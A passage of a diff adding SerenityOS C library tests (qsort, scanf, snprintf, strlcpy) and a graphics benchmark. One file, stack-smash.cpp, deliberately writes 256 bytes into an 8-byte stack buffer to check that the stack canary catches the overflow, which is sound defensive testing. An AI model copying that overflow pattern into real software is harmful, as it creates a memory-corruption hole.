};
|
||||
|
||||
static int compare_sortable_object(const void* a, const void* b)
|
||||
{
|
||||
const int key1 = static_cast<const SortableObject*>(a)->m_key;
|
||||
const int key2 = static_cast<const SortableObject*>(b)->m_key;
|
||||
if (key1 < key2) {
|
||||
return -1;
|
||||
} else if (key1 == key2) {
|
||||
return 0;
|
||||
} else {
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
static int calc_payload_for_pos(size_t pos)
|
||||
{
|
||||
pos *= 231;
|
||||
return pos ^ (pos << 8) ^ (pos << 16) ^ (pos << 24);
|
||||
}
|
||||
|
||||
static void shuffle_vec(Vector<SortableObject>& test_objects)
|
||||
{
|
||||
for (size_t i = 0; i < test_objects.size() * 3; ++i) {
|
||||
auto i1 = rand() % test_objects.size();
|
||||
auto i2 = rand() % test_objects.size();
|
||||
swap(test_objects[i1], test_objects[i2]);
|
||||
}
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
// Generate vector of SortableObjects in sorted order, with payloads determined by their sorted positions
|
||||
Vector<SortableObject> test_objects;
|
||||
for (auto i = 0; i < 1024; ++i) {
|
||||
test_objects.append({ i * 137, calc_payload_for_pos(i) });
|
||||
}
|
||||
for (size_t i = 0; i < NUM_RUNS; i++) {
|
||||
// Shuffle the vector, then sort it again
|
||||
shuffle_vec(test_objects);
|
||||
qsort(test_objects.data(), test_objects.size(), sizeof(SortableObject), compare_sortable_object);
|
||||
// Check that the objects are sorted by key
|
||||
for (auto i = 0u; i + 1 < test_objects.size(); ++i) {
|
||||
const auto& key1 = test_objects[i].m_key;
|
||||
const auto& key2 = test_objects[i + 1].m_key;
|
||||
if (key1 > key2) {
|
||||
printf("\x1b[01;35mTests failed: saw key %d before key %d\n", key1, key2);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
// Check that the object's payloads have not been corrupted
|
||||
for (auto i = 0u; i < test_objects.size(); ++i) {
|
||||
const auto expected = calc_payload_for_pos(i);
|
||||
const auto payload = test_objects[i].m_payload;
|
||||
if (payload != expected) {
|
||||
printf("\x1b[01;35mTests failed: expected payload %d for pos %u, got payload %d\n", expected, i, payload);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
printf("PASS\n");
|
||||
return 0;
|
||||
}
|
245
Tests/LibC/scanf.cpp
Normal file
245
Tests/LibC/scanf.cpp
Normal file
|
@ -0,0 +1,245 @@
|
|||
/*
|
||||
* Copyright (c) 2021, the SerenityOS developers.
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <AK/Array.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
typedef long double longdouble;
|
||||
typedef long long longlong;
|
||||
typedef unsigned long long unsignedlonglong;
|
||||
typedef unsigned long unsignedlong;
|
||||
typedef char charstar[32];
|
||||
|
||||
template<typename T>
|
||||
constexpr static Array<unsigned char, 32> to_value_t(T x)
|
||||
{
|
||||
// The endianness doesn't really matter, since we're going to convert both sides with this anyway.
|
||||
union Value {
|
||||
u8 v[32];
|
||||
T t;
|
||||
};
|
||||
|
||||
auto value = Value { .t = x };
|
||||
|
||||
return {
|
||||
value.v[0],
|
||||
value.v[1],
|
||||
value.v[2],
|
||||
value.v[3],
|
||||
value.v[4],
|
||||
value.v[5],
|
||||
value.v[6],
|
||||
value.v[7],
|
||||
value.v[8],
|
||||
value.v[9],
|
||||
value.v[10],
|
||||
value.v[11],
|
||||
value.v[12],
|
||||
value.v[13],
|
||||
value.v[14],
|
||||
value.v[15],
|
||||
value.v[16],
|
||||
value.v[17],
|
||||
value.v[18],
|
||||
value.v[19],
|
||||
value.v[20],
|
||||
value.v[21],
|
||||
value.v[22],
|
||||
value.v[23],
|
||||
value.v[24],
|
||||
value.v[25],
|
||||
value.v[26],
|
||||
value.v[27],
|
||||
value.v[28],
|
||||
value.v[29],
|
||||
value.v[30],
|
||||
value.v[31],
|
||||
};
|
||||
}
|
||||
|
||||
template<size_t N>
|
||||
constexpr static Array<unsigned char, 32> str_to_value_t(const char (&x)[N])
|
||||
{
|
||||
Array<unsigned char, 32> value { 0 };
|
||||
for (size_t i = 0; i < N; ++i)
|
||||
value[i] = x[i];
|
||||
return value;
|
||||
}
|
||||
|
||||
struct Argument {
|
||||
size_t size;
|
||||
void* data;
|
||||
};
|
||||
|
||||
static Array<u8, 32> arg_to_value_t(const Argument& arg)
|
||||
{
|
||||
if (arg.size == 1)
|
||||
return to_value_t(*(u8*)arg.data);
|
||||
|
||||
if (arg.size == 2)
|
||||
return to_value_t(*(u16*)arg.data);
|
||||
|
||||
if (arg.size == 4)
|
||||
return to_value_t(*(u32*)arg.data);
|
||||
|
||||
if (arg.size == 8)
|
||||
return to_value_t(*(u64*)arg.data);
|
||||
|
||||
if (arg.size == 16) {
|
||||
auto& data = *(charstar*)arg.data;
|
||||
Array<unsigned char, 32> value { 0 };
|
||||
for (size_t i = 0; i < 16; ++i)
|
||||
value[i] = data[i];
|
||||
return value;
|
||||
}
|
||||
|
||||
if (arg.size == 32) {
|
||||
auto& data = *(charstar*)arg.data;
|
||||
auto length = strlen(data);
|
||||
Array<unsigned char, 32> value { 0 };
|
||||
for (size_t i = 0; i < length; ++i)
|
||||
value[i] = data[i];
|
||||
return value;
|
||||
}
|
||||
|
||||
VERIFY_NOT_REACHED();
|
||||
}
|
||||
|
||||
#define DECL_WITH_TYPE(ty) \
|
||||
ty _##ty##arg0; \
|
||||
ty _##ty##arg1; \
|
||||
ty _##ty##arg2; \
|
||||
Argument ty##arg0 { sizeof(ty), &_##ty##arg0 }; \
|
||||
Argument ty##arg1 { sizeof(ty), &_##ty##arg1 }; \
|
||||
Argument ty##arg2 { sizeof(ty), &_##ty##arg2 };
|
||||
|
||||
DECL_WITH_TYPE(int);
|
||||
DECL_WITH_TYPE(unsigned);
|
||||
DECL_WITH_TYPE(long);
|
||||
DECL_WITH_TYPE(longlong);
|
||||
DECL_WITH_TYPE(float);
|
||||
DECL_WITH_TYPE(double);
|
||||
DECL_WITH_TYPE(longdouble);
|
||||
DECL_WITH_TYPE(unsignedlong);
|
||||
DECL_WITH_TYPE(unsignedlonglong);
|
||||
|
||||
#undef DECL_WITH_TYPE
|
||||
|
||||
charstar _charstararg0;
|
||||
charstar _charstararg1;
|
||||
charstar _charstararg2;
|
||||
Argument charstararg0 { sizeof(charstar), &_charstararg0[0] };
|
||||
Argument charstararg1 { sizeof(charstar), &_charstararg1[0] };
|
||||
Argument charstararg2 { sizeof(charstar), &_charstararg2[0] };
|
||||
|
||||
struct TestSuite {
|
||||
const char* format;
|
||||
const char* input;
|
||||
int expected_output;
|
||||
size_t argument_count;
|
||||
Argument arguments[8];
|
||||
Array<unsigned char, 32> expected_values[8]; // 32 bytes for each argument's value.
|
||||
};
|
||||
|
||||
const TestSuite test_suites[] {
|
||||
{ "%d", "", 0, 0, {}, {} },
|
||||
{ "%x", "0x519", 1, 1, { unsignedarg0 }, { to_value_t(0x519) } },
|
||||
{ "%x", "0x51g", 1, 1, { unsignedarg0 }, { to_value_t(0x51u) } },
|
||||
{ "%06x", "0xabcdef", 1, 1, { unsignedarg0 }, { to_value_t(0xabcdefu) } },
|
||||
{ "\"%%%d#", "\"%42#", 1, 1, { intarg0 }, { to_value_t(42) } },
|
||||
{ " %d", "42", 1, 1, { intarg0 }, { to_value_t(42) } },
|
||||
{ "%d", " 42", 1, 1, { intarg0 }, { to_value_t(42) } },
|
||||
{ "%ld", "42", 1, 1, { longarg0 }, { to_value_t(42l) } },
|
||||
{ "%lld", "42", 1, 1, { longlongarg0 }, { to_value_t(42ll) } },
|
||||
{ "%f", "42", 1, 1, { floatarg0 }, { to_value_t(42.0f) } },
|
||||
{ "%lf", "42", 1, 1, { doublearg0 }, { to_value_t(42.0) } },
|
||||
{ "%s", "42", 1, 1, { charstararg0 }, { str_to_value_t("42") } },
|
||||
{ "%d%s", "42yoinks", 2, 2, { intarg0, charstararg0 }, { to_value_t(42), str_to_value_t("yoinks") } },
|
||||
{ "%[^\n]", "aaaa\n", 1, 1, { charstararg0 }, { str_to_value_t("aaaa") } },
|
||||
{ "%u.%u.%u", "3.19", 2, 3, { unsignedarg0, unsignedarg1, unsignedarg2 }, { to_value_t(3u), to_value_t(19u) } },
|
||||
// Failing test case from previous impl:
|
||||
{ "SSH-%d.%d-%[^\n]\n", "SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.1\n", 3, 3, { intarg0, intarg1, charstararg0 }, { to_value_t(2), to_value_t(0), str_to_value_t("OpenSSH_8.2p1 Ubuntu-4ubuntu0.1") } },
|
||||
// GCC failure tests
|
||||
{ "%d.%d.%d", "10.2.0", 3, 3, { intarg0, intarg1, intarg2 }, { to_value_t(10), to_value_t(2), to_value_t(0) } },
|
||||
{ "%lu", "3054 ", 1, 1, { unsignedlongarg0 }, { to_value_t(3054ul) } },
|
||||
// "actual" long long and unsigned long long, from #6096
|
||||
// Note: '9223372036854775806' is the max value for 'long long'.
|
||||
{ "%lld", "9223372036854775805", 1, 1, { longlongarg0 }, { to_value_t(9223372036854775805LL) } },
|
||||
{ "%llu", "9223372036854775810", 1, 1, { unsignedlonglongarg0 }, { to_value_t(9223372036854775810ULL) } },
|
||||
};
|
||||
|
||||
bool g_any_failed = false;
|
||||
|
||||
static bool check_value_conformance(const TestSuite& test)
|
||||
{
|
||||
bool fail = false;
|
||||
for (int i = 0; i < test.expected_output; ++i) {
|
||||
auto& arg = test.arguments[i];
|
||||
auto arg_value = arg_to_value_t(arg);
|
||||
auto& value = test.expected_values[i];
|
||||
if (arg_value != value) {
|
||||
auto arg_ptr = (const u32*)arg_value.data();
|
||||
auto value_ptr = (const u32*)value.data();
|
||||
printf(" value %d FAIL, expected %04x%04x%04x%04x%04x%04x%04x%04x but got %04x%04x%04x%04x%04x%04x%04x%04x\n",
|
||||
i,
|
||||
value_ptr[0], value_ptr[1], value_ptr[2], value_ptr[3],
|
||||
value_ptr[4], value_ptr[5], value_ptr[6], value_ptr[7],
|
||||
arg_ptr[0], arg_ptr[1], arg_ptr[2], arg_ptr[3],
|
||||
arg_ptr[4], arg_ptr[5], arg_ptr[6], arg_ptr[7]);
|
||||
fail = true;
|
||||
} else {
|
||||
printf(" value %d PASS\n", i);
|
||||
}
|
||||
}
|
||||
|
||||
return !fail;
|
||||
}
|
||||
|
||||
static void do_one_test(const TestSuite& test)
|
||||
{
|
||||
printf("Testing '%s' against '%s'...\n", test.input, test.format);
|
||||
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Wformat-nonliteral"
|
||||
auto rc = sscanf(test.input, test.format,
|
||||
test.arguments[0].data, test.arguments[1].data, test.arguments[2].data, test.arguments[3].data,
|
||||
test.arguments[4].data, test.arguments[5].data, test.arguments[6].data, test.arguments[7].data);
|
||||
#pragma GCC diagnostic pop
|
||||
|
||||
bool overall = true;
|
||||
printf(" output value...\n");
|
||||
if (rc != test.expected_output) {
|
||||
printf(" output value FAIL, expected %d but got %d\n", test.expected_output, rc);
|
||||
overall = false;
|
||||
} else {
|
||||
printf(" output value PASS\n");
|
||||
}
|
||||
|
||||
printf(" read values...\n");
|
||||
if (check_value_conformance(test)) {
|
||||
printf(" read values PASS\n");
|
||||
} else {
|
||||
printf(" read values FAIL\n");
|
||||
overall = false;
|
||||
}
|
||||
|
||||
if (overall)
|
||||
printf(" overall PASS\n");
|
||||
else
|
||||
printf(" overall FAIL\n");
|
||||
|
||||
g_any_failed = g_any_failed || !overall;
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
for (auto& test : test_suites)
|
||||
do_one_test(test);
|
||||
|
||||
return g_any_failed ? 1 : 0;
|
||||
}
|
143
Tests/LibC/snprintf-correctness.cpp
Normal file
143
Tests/LibC/snprintf-correctness.cpp
Normal file
|
@ -0,0 +1,143 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/ByteBuffer.h>
|
||||
#include <AK/Random.h>
|
||||
#include <AK/StringBuilder.h>
|
||||
#include <ctype.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma GCC diagnostic ignored "-Wformat-nonliteral"
|
||||
|
||||
struct Testcase {
|
||||
const char* dest;
|
||||
size_t dest_n;
|
||||
const char* fmt;
|
||||
const char* arg;
|
||||
int expected_return;
|
||||
const char* dest_expected;
|
||||
size_t dest_expected_n; // == dest_n
|
||||
};
|
||||
|
||||
static String show(const ByteBuffer& buf)
|
||||
{
|
||||
StringBuilder builder;
|
||||
for (size_t i = 0; i < buf.size(); ++i) {
|
||||
builder.appendff("{:02x}", buf[i]);
|
||||
}
|
||||
builder.append(' ');
|
||||
builder.append('(');
|
||||
for (size_t i = 0; i < buf.size(); ++i) {
|
||||
if (isprint(buf[i]))
|
||||
builder.append(buf[i]);
|
||||
else
|
||||
builder.append('_');
|
||||
}
|
||||
builder.append(')');
|
||||
return builder.build();
|
||||
}
|
||||
|
||||
static const size_t SANDBOX_CANARY_SIZE = 8;
|
||||
|
||||
static bool test_single(const Testcase& testcase)
|
||||
{
|
||||
// Preconditions:
|
||||
if (testcase.dest_n != testcase.dest_expected_n) {
|
||||
warnln("dest length {} != expected dest length {}? Check testcase! (Probably miscounted.)", testcase.dest_n, testcase.dest_expected_n);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Setup
|
||||
ByteBuffer actual = ByteBuffer::create_uninitialized(SANDBOX_CANARY_SIZE + testcase.dest_n + SANDBOX_CANARY_SIZE);
|
||||
fill_with_random(actual.data(), actual.size());
|
||||
ByteBuffer expected = actual.isolated_copy();
|
||||
VERIFY(actual.offset_pointer(0) != expected.offset_pointer(0));
|
||||
actual.overwrite(SANDBOX_CANARY_SIZE, testcase.dest, testcase.dest_n);
|
||||
expected.overwrite(SANDBOX_CANARY_SIZE, testcase.dest_expected, testcase.dest_expected_n);
|
||||
// "unsigned char" != "char", so we have to convince the compiler to allow this.
|
||||
char* dst = reinterpret_cast<char*>(actual.offset_pointer(SANDBOX_CANARY_SIZE));
|
||||
|
||||
// The actual call:
|
||||
int actual_return = snprintf(dst, testcase.dest_n, testcase.fmt, testcase.arg);
|
||||
|
||||
// Checking the results:
|
||||
bool return_ok = actual_return == testcase.expected_return;
|
||||
bool canary_1_ok = actual.slice(0, SANDBOX_CANARY_SIZE) == expected.slice(0, SANDBOX_CANARY_SIZE);
|
||||
bool main_ok = actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n) == expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n);
|
||||
bool canary_2_ok = actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE) == expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE);
|
||||
bool buf_ok = actual == expected;
|
||||
|
||||
// Evaluate gravity:
|
||||
if (buf_ok && (!canary_1_ok || !main_ok || !canary_2_ok)) {
|
||||
warnln("Internal error! ({} != {} | {} | {})", buf_ok, canary_1_ok, main_ok, canary_2_ok);
|
||||
buf_ok = false;
|
||||
}
|
||||
if (!canary_1_ok) {
|
||||
warnln("Canary 1 overwritten: Expected {}\n"
|
||||
" instead got {}",
|
||||
show(expected.slice(0, SANDBOX_CANARY_SIZE)),
|
||||
show(actual.slice(0, SANDBOX_CANARY_SIZE)));
|
||||
}
|
||||
if (!main_ok) {
|
||||
warnln("Wrong output: Expected {}\n"
|
||||
" instead, got {}",
|
||||
show(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n)),
|
||||
show(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n)));
|
||||
}
|
||||
if (!canary_2_ok) {
|
||||
warnln("Canary 2 overwritten: Expected {}\n"
|
||||
" instead, got {}",
|
||||
show(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE)),
|
||||
show(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE)));
|
||||
}
|
||||
if (!return_ok) {
|
||||
warnln("Wrong return value: Expected {}, got {} instead!", testcase.expected_return, actual_return);
|
||||
}
|
||||
|
||||
return buf_ok && return_ok;
|
||||
}
|
||||
|
||||
// Drop the NUL terminator added by the C++ compiler.
|
||||
#define LITERAL(x) x, (sizeof(x) - 1)
|
||||
|
||||
static const char* const POISON = (const char*)1;
|
||||
|
||||
TEST_CASE(golden_path)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), "Hello Friend!", POISON, 13, LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), "Hello %s!", "Friend", 13, LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single({ LITERAL("aaaaaaaaaa"), "whf", POISON, 3, LITERAL("whf\0aaaaaa") }));
|
||||
EXPECT(test_single({ LITERAL("aaaaaaaaaa"), "w%sf", "h", 3, LITERAL("whf\0aaaaaa") }));
|
||||
}
|
||||
|
||||
TEST_CASE(border_cases)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0"), "Hello Friend!", POISON, 13, LITERAL("Hello Friend!\0") }));
|
||||
EXPECT(test_single({ LITERAL("AAAA"), "whf", POISON, 3, LITERAL("whf\0") }));
|
||||
EXPECT(test_single({ LITERAL("AAAA"), "%s", "whf", 3, LITERAL("whf\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(too_long)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0"), "Hello Friend!", POISON, 13, LITERAL("Hello Friend\0") }));
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0"), "This source is %s too long!", "just *way*", 35, LITERAL("This source \0") }));
|
||||
EXPECT(test_single({ LITERAL("x"), "This source is %s too long!", "just *way*", 35, LITERAL("\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(special_cases)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL(""), "Hello Friend!", POISON, 13, LITERAL("") }));
|
||||
EXPECT_EQ(snprintf(nullptr, 0, "Hello, friend!"), 14);
|
||||
EXPECT(test_single({ LITERAL(""), "", POISON, 0, LITERAL("") }));
|
||||
EXPECT(test_single({ LITERAL("x"), "", POISON, 0, LITERAL("\0") }));
|
||||
EXPECT(test_single({ LITERAL("xx"), "", POISON, 0, LITERAL("\0x") }));
|
||||
EXPECT(test_single({ LITERAL("xxx"), "", POISON, 0, LITERAL("\0xx") }));
|
||||
EXPECT(test_single({ LITERAL(""), "whf", POISON, 3, LITERAL("") }));
|
||||
EXPECT(test_single({ LITERAL("x"), "whf", POISON, 3, LITERAL("\0") }));
|
||||
EXPECT(test_single({ LITERAL("xx"), "whf", POISON, 3, LITERAL("w\0") }));
|
||||
}
|
34
Tests/LibC/stack-smash.cpp
Normal file
34
Tests/LibC/stack-smash.cpp
Normal file
|
@ -0,0 +1,34 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <cstdio>
|
||||
|
||||
// Note: Needs to be 'noline' so stack canary isn't optimized out.
|
||||
static void __attribute__((noinline)) smasher(char* string)
|
||||
{
|
||||
#pragma GCC diagnostic push
|
||||
#pragma GCC diagnostic ignored "-Warray-bounds"
|
||||
for (int i = 0; i < 256; i++) {
|
||||
string[i] = 'A';
|
||||
}
|
||||
#pragma GCC diagnostic pop
|
||||
}
|
||||
|
||||
// Note: Needs to be 'noline' so stack canary isn't optimized out.
|
||||
static void __attribute__((noinline)) stack_to_smash()
|
||||
{
|
||||
char string[8] = {};
|
||||
smasher(string);
|
||||
}
|
||||
|
||||
int main()
|
||||
{
|
||||
puts("[+] Starting the stack smash...");
|
||||
stack_to_smash();
|
||||
puts("[+] Stack smash wasn't detected!");
|
||||
|
||||
return 0;
|
||||
}
|
164
Tests/LibC/strlcpy-correctness.cpp
Normal file
164
Tests/LibC/strlcpy-correctness.cpp
Normal file
|
@ -0,0 +1,164 @@
|
|||
/*
|
||||
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <AK/ByteBuffer.h>
|
||||
#include <AK/Random.h>
|
||||
#include <AK/StringBuilder.h>
|
||||
#include <ctype.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
struct Testcase {
|
||||
const char* dest;
|
||||
size_t dest_n;
|
||||
const char* src;
|
||||
size_t src_n;
|
||||
const char* dest_expected;
|
||||
size_t dest_expected_n; // == dest_n
|
||||
};
|
||||
|
||||
static String show(const ByteBuffer& buf)
|
||||
{
|
||||
StringBuilder builder;
|
||||
for (size_t i = 0; i < buf.size(); ++i) {
|
||||
builder.appendff("{:02x}", buf[i]);
|
||||
}
|
||||
builder.append(' ');
|
||||
builder.append('(');
|
||||
for (size_t i = 0; i < buf.size(); ++i) {
|
||||
if (isprint(buf[i]))
|
||||
builder.append(buf[i]);
|
||||
else
|
||||
builder.append('_');
|
||||
}
|
||||
builder.append(')');
|
||||
return builder.build();
|
||||
}
|
||||
|
||||
static const size_t SANDBOX_CANARY_SIZE = 8;
|
||||
|
||||
static bool test_single(const Testcase& testcase)
|
||||
{
|
||||
// Preconditions:
|
||||
if (testcase.dest_n != testcase.dest_expected_n) {
|
||||
warnln("dest length {} != expected dest length {}? Check testcase! (Probably miscounted.)", testcase.dest_n, testcase.dest_expected_n);
|
||||
return false;
|
||||
}
|
||||
if (testcase.src_n != strlen(testcase.src)) {
|
||||
warnln("src length {} != actual src length {}? src can't contain NUL bytes!", testcase.src_n, strlen(testcase.src));
|
||||
return false;
|
||||
}
|
||||
|
||||
// Setup
|
||||
ByteBuffer actual = ByteBuffer::create_uninitialized(SANDBOX_CANARY_SIZE + testcase.dest_n + SANDBOX_CANARY_SIZE);
|
||||
fill_with_random(actual.data(), actual.size());
|
||||
ByteBuffer expected = actual.isolated_copy();
|
||||
VERIFY(actual.offset_pointer(0) != expected.offset_pointer(0));
|
||||
actual.overwrite(SANDBOX_CANARY_SIZE, testcase.dest, testcase.dest_n);
|
||||
expected.overwrite(SANDBOX_CANARY_SIZE, testcase.dest_expected, testcase.dest_expected_n);
|
||||
// "unsigned char" != "char", so we have to convince the compiler to allow this.
|
||||
char* dst = reinterpret_cast<char*>(actual.offset_pointer(SANDBOX_CANARY_SIZE));
|
||||
|
||||
// The actual call:
|
||||
size_t actual_return = strlcpy(dst, testcase.src, testcase.dest_n);
|
||||
|
||||
// Checking the results:
|
||||
bool return_ok = actual_return == testcase.src_n;
|
||||
bool canary_1_ok = actual.slice(0, SANDBOX_CANARY_SIZE) == expected.slice(0, SANDBOX_CANARY_SIZE);
|
||||
bool main_ok = actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n) == expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n);
|
||||
bool canary_2_ok = actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE) == expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE);
|
||||
bool buf_ok = actual == expected;
|
||||
|
||||
// Evaluate gravity:
|
||||
if (buf_ok && (!canary_1_ok || !main_ok || !canary_2_ok)) {
|
||||
warnln("Internal error! ({} != {} | {} | {})", buf_ok, canary_1_ok, main_ok, canary_2_ok);
|
||||
buf_ok = false;
|
||||
}
|
||||
if (!canary_1_ok) {
|
||||
warnln("Canary 1 overwritten: Expected canary {}\n"
|
||||
" instead got {}",
|
||||
show(expected.slice(0, SANDBOX_CANARY_SIZE)),
|
||||
show(actual.slice(0, SANDBOX_CANARY_SIZE)));
|
||||
}
|
||||
if (!main_ok) {
|
||||
warnln("Wrong output: Expected {}\n"
|
||||
" instead got {}",
|
||||
show(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n)),
|
||||
show(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n)));
|
||||
}
|
||||
if (!canary_2_ok) {
|
||||
warnln("Canary 2 overwritten: Expected {}\n"
|
||||
" instead got {}",
|
||||
show(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE)),
|
||||
show(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE)));
|
||||
}
|
||||
if (!return_ok) {
|
||||
warnln("Wrong return value: Expected {}, got {} instead!", testcase.src_n, actual_return);
|
||||
}
|
||||
|
||||
return buf_ok && return_ok;
|
||||
}
|
||||
|
||||
// Drop the NUL terminator added by the C++ compiler.
|
||||
#define LITERAL(x) x, (sizeof(x) - 1)
|
||||
|
||||
//static Testcase TESTCASES[] = {
|
||||
// // Golden path:
|
||||
|
||||
// // Hitting the border:
|
||||
|
||||
// // Too long:
|
||||
// { LITERAL("Hello World!\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend\0") },
|
||||
// { LITERAL("Hello World!\0"), LITERAL("This source is just *way* too long!"), LITERAL("This source \0") },
|
||||
// { LITERAL("x"), LITERAL("This source is just *way* too long!"), LITERAL("\0") },
|
||||
// // Other special cases:
|
||||
// { LITERAL(""), LITERAL(""), LITERAL("") },
|
||||
// { LITERAL(""), LITERAL("Empty test"), LITERAL("") },
|
||||
// { LITERAL("x"), LITERAL(""), LITERAL("\0") },
|
||||
// { LITERAL("xx"), LITERAL(""), LITERAL("\0x") },
|
||||
// { LITERAL("xxx"), LITERAL(""), LITERAL("\0xx") },
|
||||
//};
|
||||
|
||||
TEST_CASE(golden_path)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single({ LITERAL("aaaaaaaaaa"), LITERAL("whf"), LITERAL("whf\0aaaaaa") }));
|
||||
}
|
||||
|
||||
TEST_CASE(exact_fit)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0") }));
|
||||
EXPECT(test_single({ LITERAL("AAAA"), LITERAL("aaa"), LITERAL("aaa\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(off_by_one)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBB"), LITERAL("BBBBB\0AAAA") }));
|
||||
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBBBBCC"), LITERAL("BBBBBBBCC\0") }));
|
||||
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBBBBCCX"), LITERAL("BBBBBBBCC\0") }));
|
||||
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBBBBCCXY"), LITERAL("BBBBBBBCC\0") }));
|
||||
}
|
||||
|
||||
TEST_CASE(nearly_empty)
|
||||
{
|
||||
EXPECT(test_single({ LITERAL(""), LITERAL(""), LITERAL("") }));
|
||||
EXPECT(test_single({ LITERAL(""), LITERAL("Empty test"), LITERAL("") }));
|
||||
EXPECT(test_single({ LITERAL("x"), LITERAL(""), LITERAL("\0") }));
|
||||
EXPECT(test_single({ LITERAL("xx"), LITERAL(""), LITERAL("\0x") }));
|
||||
EXPECT(test_single({ LITERAL("x"), LITERAL("y"), LITERAL("\0") }));
|
||||
}
|
||||
|
||||
static char* const POISON = (char*)1;
|
||||
TEST_CASE(to_nullptr)
|
||||
{
|
||||
EXPECT_EQ(0u, strlcpy(POISON, "", 0));
|
||||
EXPECT_EQ(1u, strlcpy(POISON, "x", 0));
|
||||
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0\0") }));
|
||||
EXPECT(test_single({ LITERAL("aaaaaaaaaa"), LITERAL("whf"), LITERAL("whf\0aaaaaa") }));
|
||||
}
|
53
Tests/LibGfx/BenchmarkGfxPainter.cpp
Normal file
53
Tests/LibGfx/BenchmarkGfxPainter.cpp
Normal file
|
@ -0,0 +1,53 @@
|
|||
/*
|
||||
* Copyright (c) 2021, Oleg Sikorskiy <olegsik@gmail.com>
|
||||
*
|
||||
* SPDX-License-Identifier: BSD-2-Clause
|
||||
*/
|
||||
|
||||
#include <LibTest/TestCase.h>
|
||||
|
||||
#include <LibGfx/Bitmap.h>
|
||||
#include <LibGfx/Painter.h>
|
||||
#include <stdio.h>
|
||||
|
||||
BENCHMARK_CASE(diagonal_lines)
|
||||
{
|
||||
const int run_count = 50;
|
||||
const int bitmap_size = 2000;
|
||||
|
||||
auto bitmap = Gfx::Bitmap::create(Gfx::BitmapFormat::BGRx8888, { bitmap_size, bitmap_size });
|
||||
Gfx::Painter painter(*bitmap);
|
||||
|
||||
for (int run = 0; run < run_count; run++) {
|
||||
for (int i = 0; i < bitmap_size; i++) {
|
||||
painter.draw_line({ 0, 0 }, { i, bitmap_size - 1 }, Color::Blue);
|
||||
painter.draw_line({ 0, 0 }, { bitmap_size - 1, i }, Color::Blue);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BENCHMARK_CASE(fill)
|
||||
{
|
||||
const int run_count = 1000;
|
||||
const int bitmap_size = 2000;
|
||||
|
||||
